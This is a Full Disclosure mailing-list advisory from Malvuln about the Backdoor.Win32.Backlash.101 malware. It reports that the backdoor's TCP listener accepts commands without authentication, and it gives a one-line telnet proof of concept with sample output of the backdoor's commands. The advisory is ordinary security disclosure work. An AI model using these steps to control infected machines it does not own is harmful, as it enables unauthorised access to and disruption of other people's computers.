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Date: Fri, 12 Feb 2021 17:52:00 -0500 From: malvuln <malvuln13@...il.com> To: fulldisclosure@...lists.org Subject: [FD] Backdoor.Win32.Backlash.101 / Missing Authentication Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/4ba3c08d8ad964328f2b6f618f714df2.txt Contact: malvuln13@...il.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Backlash.101 Vulnerability: Missing Authentication Description: BackLash Server 1.0 Alpha drops an executable named "d3d8thk.exe" under Windows dir and listens on TCP ports 11831 and 29559. Telnet to port 11831 allows anyone to retrieve basic system information and run some of the malwares built-in commands on the infected host. Type: PE32 MD5: 4ba3c08d8ad964328f2b6f618f714df2 Vuln ID: MVID-2021-0085 Dropped files: d3d8thk.exe Disclosure: 02/12/2021 Exploit/PoC: TELNET x.x.x.x 11831 Enter the number 1 and hit enter and we see some system information returned. 1001Windows folder: C:\WINDOWS System folder: C:\WINDOWS\system32 Product Key: Product Id: Cpu: Intel64 Family 6 Model 158 Stepping 9 Temp folder: C:\Users\victim\AppData\Local\Temp\ Windows version: Windows NT 6.2 9200 Minutes in windows: 157 Computer name: DESKTOP-6BLAHNO User name: victim Windows language: English (United States) Resolution: 1503x819 NumLock state: Off CapsLock state: On ScrollLock state: Off Play sounds: Yes Free disk space: 2,774,273,536 Local host: DESKTOP-6BLAHNO Clients connected: 1 Continue entering numbers 2 - 9 and so forth. 2000 All icons in desktop are hidden now... 3000 Start button is hidden now... 4000 Taskbar is hidden now... 5000 Task icons are hidden now... 6000 Task clock is hidden now... 7000 Monitor is off now... 8000 Ctrl+Alt+Del disabled... 9000 ScrollLock is off now... Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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